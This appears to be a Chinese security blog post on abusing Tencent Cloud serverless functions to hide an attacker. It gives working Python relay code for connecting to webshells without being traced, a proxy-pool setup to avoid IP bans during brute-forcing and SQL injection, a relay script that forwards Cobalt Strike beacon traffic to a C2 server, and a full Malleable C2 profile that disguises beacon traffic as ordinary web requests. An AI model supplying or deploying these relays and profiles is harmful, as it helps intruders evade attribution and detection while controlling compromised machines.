云函数的利用


云函数的特点

云函数 SCF

云函数(Serverless Cloud Function,SCF)是腾讯云为企业和开发者们提供的无服务器执行环境,能在无需购买和管理服务器的情况下运行代码。只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF 是实时文件处理和数据处理等场景下理想的计算平台。

总结云函数的几个特性: 1. 多出口 2. 调用时创建执行 3. 无需服务器VPS承载

云函数的几种常见利用

防溯源连接Webshell

云函数使用的补上自己的ip,连接shell时调用云函数代理连接可以起到一定的防溯源效果。

云函数创建(以腾讯云为例)

基础配置

进入云函数创建页面:腾讯云函数创建

选择自定义创建->写个函数名

函数代码

代码脚本如下,将webshell地址作为参数传入云函数api中。云函数服务端脚本会重组webshell地址以及POST命令内容,并把重组后的请求内容转发给webshell。

#!/usr/bin/env
# -*- coding: UTF-8 -*-
import requests
import json from urllib.parse 
import urlsplit

    
def geturl(urlstr):
    jurlstr = json.dumps(urlstr)
    dict_url = json.loads(jurlstr)
    return dict_url['u']

def main_handler(event, context):
    url = geturl(event['queryString'])
    host = urlsplit(url).netloc
    postdata = event['body']
    headers=event['headers']
    headers["HOST"] = host
    resp=requests.post(url,data=postdata,headers=headers,verify=False)
    
    response={"isBase64Encoded": False,"statusCode": 200,"headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},"body": resp.text}
    return response

贴上代码即可

高级设置

这里遇到一个坑,默认执行时间是三秒,如果不修改,执行函数将会有报错。

解决方案如下:

修改一下执行超时时间为60,其他保持默认

触发器设置

保存后下滑点击触发器,设置触发方式为api网关触发(若报红,点击去授权服务,开启使用)

自定义创建->触发方式为API网关触发

完成即可。

使用方式

完成后自动跳转到页面,或者点击 函数服务->函数名->触发管理

下滑复制访问路径,就是我们的api路径了

搭建好后在蚁剑中直接使用

或者在浏览器中访问该连接也能测试

访问路径?u=目标shell文件路径
https://service-xxxxxxx.sh.apigw.tencentcs.com/release/shell-bypass?u=http://xxx.xxx.xxx.xxx:端口/upload/1.php

这是就是调用腾讯云的api访问了,查看ip会发现每次请求的IP都不同,并且都是来自选择地的腾讯云。(比如本次实验就是上海的IP)

放到微步可以查到它们都是干净的IP。

云函数实现代理池

云函数其实也可以作为一种变相的代理池供我们所用,利用云函数的多出口性来防止爆破或者SQL注入的时候被Ban掉ip。

云函数创建

在github上查找scf-proxy可以找到开源的项目。第一次看到Scf-Proxy的概念的应该是学蚁致用的作者。通过客户端监听获取请求并且组装API请求,服务端云函数解析且重组API请求。通过SCF-Proxy不光可以实现代理http请求,也可以代理https请求(类似Burp中间人监听的方式)。

编译文件

项目地址:https://github.com/Sakurasan/scf-proxy

下载文件放到linux中利用Golang编译客户端和服务端。

还是选择自定义创建,但是这里要选择Go,而不是默认的python,选择本地上传zip,将main.zip上传上去。

上传服务端

上传编译的文件

触发器设置

API网关触发

客户端利用

编译后的文件如下,修改配置文件指向云函数的url,端口默认为8888,与服务端的一致,不做修改。

在命令行运行windows的exe文件,开启代理

目标使用个人的vps开启一个目录以供记录访问ip

python3 -m http.server 10081

在浏览器代理了本机的8888端口后访问vps开放的端口,可以发现有代理池的效果了。

在平时渗透时就可以挂上这个代理防止自己的ip被ban掉。

CS的Malleable-C2-Profiles隐藏

由于Cs支持HTTP/HTTPS类型的Beacon,因此我们也可以通过云函数来转发HTTP/HTTPS请求。

云函数创建

基础配置

依旧选择自定义创建。腾讯云函数创建

函数代码

云函数服务端脚本如下

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)
    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

高级配置

执行时间需要改,不然测试还是会有问题

建议改60

触发器配置

选API网关触发方式,其他默认

配置网关api路径

这里有一个坑,很多文章没有提到要更改网关路径,会直接导致cs无法上线。

解决方法如下:函数服务 -> cs-bypass -> 触发管理 -> 点击API服务名

进入api服务,授权使用

进入编辑

路径改为 /

在下方点击立即完成->发布任务 即可

CS服务端配置

Cs可以定制Profile来更加隐匿流量 这里使用如下的Profile

set sample_name "kris_abao"; 
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
    set uri "/api/getit";
    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

创建完后放到将api.profile放到服务端Cs上 可以通过c2lint检查一下profile,可以看到正常的定义http类型Beacon的get和post请求时的样子。

可以使用c2lint检查一下 ./c2lint api.profile

实战时指定一个配置文件进行加载

./teamserver [external IP] [password] [/path/to/my.profile]-------------
./teamserver xxx.xxx.xxx.xxx 密码 api.profile
如果不在同一个目录下,就写绝对路径

验证成果

设定监听

使用该监听器生成木马->点击上线

使用wireshark验证ip,过滤一下请求uri:http.request.uri == “/api/getit”

uri通过查看服务端的api.profile配置文件得到。

可以发现公网地址是我们的云函数IP,达到隐藏C2目的。


文章作者: qqy
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 qqy !
  目录